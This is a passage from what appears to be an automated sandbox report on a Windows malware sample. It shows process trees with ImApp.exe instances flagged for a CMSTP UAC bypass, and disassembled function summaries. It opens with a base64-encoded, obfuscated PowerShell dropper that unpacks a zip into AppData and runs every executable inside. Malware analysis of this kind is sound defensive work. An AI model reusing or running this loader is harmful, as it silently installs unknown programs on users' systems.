AGUAZQBrACgAMAAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBHAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApAC4AVABvAFMAdAByAGkAbgBnACgAKQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEMAbwBtAGIAaQBuAGUAKAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEALAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgApAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEMAbwBtAGIAaQBuAGUAKAAkAGUAbgB2ADoAVABFAE0AUAAsACAAIgAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgB6AGkAcAAiACkACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAsACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFQAbwBBAHIAcgBhAHkAKAApACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgApAAoACgAgACAAIAAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4AQwBvAHAAeQBIAGUAcgBlACgAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ASQB0AGUAbQBzACgAKQAsACAAMgAwACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAALQBGAGkAbAB0AGUAcgAgACoALgBlAHgAZQAgAC0AUgBlAGMAdQByAHMAZQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAGkAbgAgACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAEYAdQBsAGwATgBhAG0AZQAgAC0ATgBvAE4AZQB3AFcAaQBuAGQAbwB3ACAALQBXAGEAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAKAH0ACgAKACYAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD4AIAAkAG4AdQBsAGwAIAAyAD4AJgAxAAoA
Imagebase:	0xda0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:04:03
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:04:58
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe"
Imagebase:	0x400000
File size:	264'616 bytes
MD5 hash:	312707A513F86ED20642F43F8EF4DD14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.3545059158.000000000AEF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:05:18
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Imagebase:	0x400000
File size:	264'616 bytes
MD5 hash:	312707A513F86ED20642F43F8EF4DD14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.3752141848.000000000A730000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:05:38
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x9e0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.3822071169.0000000004AF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:05:38
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:05:43
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Imagebase:	0x400000
File size:	264'616 bytes
MD5 hash:	312707A513F86ED20642F43F8EF4DD14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000B.00000002.3972015789.000000000A5E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:05:43
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
Imagebase:	0x400000
File size:	264'616 bytes
MD5 hash:	312707A513F86ED20642F43F8EF4DD14
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.4150734794.000000000A74E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:05:45
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x30000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.4563869306.00000000050D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 02F8C2CD Relevance: 1.8, APIs: 1, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.4561795588.0000000002F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 115cfa41dcd2093231678b759d4e6c9b7a557ead5116f90a1560d1e76706c084
Instruction ID: 19eaf3d13d6620614d597f867bedae5bbea09808aa798942d304b0a410eed07c
Opcode Fuzzy Hash: 115cfa41dcd2093231678b759d4e6c9b7a557ead5116f90a1560d1e76706c084
Instruction Fuzzy Hash: 25C13871D00219DFDB28DFA9C98479DFBF2BF88704F24812AE904A7250D770A985CF91

Function 02F8ABDC Relevance: 1.8, APIs: 1, Instructions: 284
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,00000000,00000004), ref: 02F8C575

Memory Dump Source

Source File: 00000005.00000002.4561795588.0000000002F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2f80000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 77f63f03cf855f071cce6121893aa6a0d3ce01287cba7162da1f648d9cfe9586
Instruction ID: 456844951c5d792c53ae41bbb8984be1c564d2d2796eeff254ccf5d1f291f299
Opcode Fuzzy Hash: 77f63f03cf855f071cce6121893aa6a0d3ce01287cba7162da1f648d9cfe9586
Instruction Fuzzy Hash: 1DC13871D00219DFDB28DFA9C98479DFBF2BF48744F24812AE905A7250DB70A985CF91

Function 02F8B808 Relevance: .5, Instructions: 481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.4561795588.0000000002F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec2c10f0370ee92c77b3785a232a29406b22bc2f3fab99c4916c7647526d313b
Instruction ID: 3747a6a2992a3a7a54e2218e468ac1e5a7a5060a1d4e06bb25d42499334d37eb
Opcode Fuzzy Hash: ec2c10f0370ee92c77b3785a232a29406b22bc2f3fab99c4916c7647526d313b
Instruction Fuzzy Hash: B0126B70A00204DFDB18EFA8C8957ADBBF2BF88344F148569D60AAB395DB75AC45CF50

Function 07770FB8 Relevance: 3.1, Strings: 2, Instructions: 616
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

84.l, xrefs: 07771468
84.l, xrefs: 07771474

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID: 84.l$84.l
API String ID: 0-4285306522
Opcode ID: e2ad70ffd969e0b671be8ffeb33b538548c9ade676781ac135f150a2a1b96024
Instruction ID: c3a45d390cdd7cd77bf243c63e3646d62d8faecfb4dbdc2ac394c57b340fda98
Opcode Fuzzy Hash: e2ad70ffd969e0b671be8ffeb33b538548c9ade676781ac135f150a2a1b96024
Instruction Fuzzy Hash: CD2214B1B00249DFDF148F69C84066ABBE2EFC5391FA4886AE905CB391DF31D941C7A1

Function 02F8C6A1 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(00000004), ref: 02F8C707

Memory Dump Source

Source File: 00000005.00000002.4561795588.0000000002F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2f80000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c5bc65aa9ad3c5a5b2c784b3fdde0a09b8a2d4e51f7467dafe798739cf0de403
Instruction ID: b34f297e9ee174e27bd3faebdc980f79dff5bf9f3c1275d999151012feb05400
Opcode Fuzzy Hash: c5bc65aa9ad3c5a5b2c784b3fdde0a09b8a2d4e51f7467dafe798739cf0de403
Instruction Fuzzy Hash: 261113B58003498FDB10DF9AD584B9EFBF4EF48724F24845AE918A3200D7B4A944CFA0

Function 02F8ABE8 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(00000004), ref: 02F8C707

Memory Dump Source

Source File: 00000005.00000002.4561795588.0000000002F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2f80000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9819c3bd2024c0e2fa7226c73eaf58824f1477cc1df772e843fa7efa71f1003a
Instruction ID: e27101620b4a4a3fa9a937b81c861ae9e0c75f4511052e1b25a0ade002f70f6c
Opcode Fuzzy Hash: 9819c3bd2024c0e2fa7226c73eaf58824f1477cc1df772e843fa7efa71f1003a
Instruction Fuzzy Hash: 021125B5900349CFCB10DF9AD584B9EFBF4EF48724F20846AE618A7210D7B4A944CFA4

Function 07773028 Relevance: .9, Instructions: 900COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa4e63fd08deb8a09908642899c7a31c335d5f363aff52359ecd448f160a89ab
Instruction ID: c646abecc66312453e657eae9f628a4f1d6ea6629f60e3aa1b2318ce6de535ef
Opcode Fuzzy Hash: aa4e63fd08deb8a09908642899c7a31c335d5f363aff52359ecd448f160a89ab
Instruction Fuzzy Hash: 076248F0B003459FDF148B68C851BAABBA2AFC5754F14846AE605DF742CE76DD01CBA2

Function 07772710 Relevance: .7, Instructions: 722COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a52acead0715cd44407e22197837b74fa61cb0c8dcf88eb920761d6bdfb21b0d
Instruction ID: ed82c7fce3df9640317fc26ca9397c714f1f44d5d2429075dbff1cc30bb8c67f
Opcode Fuzzy Hash: a52acead0715cd44407e22197837b74fa61cb0c8dcf88eb920761d6bdfb21b0d
Instruction Fuzzy Hash: CF3255B17043459FDF148B68C8407AABBB2BFC6250F24846AD615CF693DA76CD41CBA2

Function 077720D0 Relevance: .5, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ddc78f1d74a9af8d7d963c9b8af11d340622da814a68a83c406747970871723
Instruction ID: 4d93f9e3c84298654fb214bf49a6ac8be1d10ccd35573110525df2ff36183cc5
Opcode Fuzzy Hash: 2ddc78f1d74a9af8d7d963c9b8af11d340622da814a68a83c406747970871723
Instruction Fuzzy Hash: 4EF114B1B04206DFDF259B78C85066ABBB2BFC5290F1484ABD625CB253DB31C941CBA1

Function 077705E0 Relevance: .4, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fcdacbcd1282dd6255fd212e0cd7123e76716ce5fa5830bd1c4965979ee5346
Instruction ID: 9759a9d70645b4a8a69ec61f0c87d04028ab47b4d74bfd10f0d6c5b8ac446c00
Opcode Fuzzy Hash: 2fcdacbcd1282dd6255fd212e0cd7123e76716ce5fa5830bd1c4965979ee5346
Instruction Fuzzy Hash: D6D125B1B04246CFDF159B79C8506BAFBB2EFC6254F1484BBD505CB252EA31C845CBA2

Function 07773630 Relevance: .3, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79789e128a9193edfcb5fe9afad576b5dcb90df0ef08f969e95ee8f3869066a
Instruction ID: 7063841b90ebe3fffd1c02845ca1f777aeb794d8119ca64ac9e958d44be093f5
Opcode Fuzzy Hash: f79789e128a9193edfcb5fe9afad576b5dcb90df0ef08f969e95ee8f3869066a
Instruction Fuzzy Hash: CA91A2F0B002499FDF18CB54C891BA9B7A2AFC4794F1484A4E509AF745CF76DE40DBA2

Function 07770CAD Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b2b8fc22e928d795760c871570ec6fb51b19b8e6b9a8e3290f3114693bd495
Instruction ID: 9c1a6778a3ef9c04d6f403224f535e2254c3be1e1b93a6a6346a3bcd89df29ef
Opcode Fuzzy Hash: f0b2b8fc22e928d795760c871570ec6fb51b19b8e6b9a8e3290f3114693bd495
Instruction Fuzzy Hash: 27414CB171030ADFDF285A74C8502BAB792AFC13D4F14887AD901CB281EF75D960C751

Function 07772F74 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4572696831.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19d050a3e522fac4c46d03635b3a34cbec8cfee7ce700b2518f81273b7830b12
Instruction ID: 3aaa9a3971a01cef5ac11c221b2e86b678704a231ab078e4c85229c3b8009096
Opcode Fuzzy Hash: 19d050a3e522fac4c46d03635b3a34cbec8cfee7ce700b2518f81273b7830b12
Instruction Fuzzy Hash: F831B1B580938A8ECB11CF69D5047DEFFF4BF45324F24849AD558AB252C3796504CBA2

Function 0777300C Relevance: .1, Instructions: 74COMMON

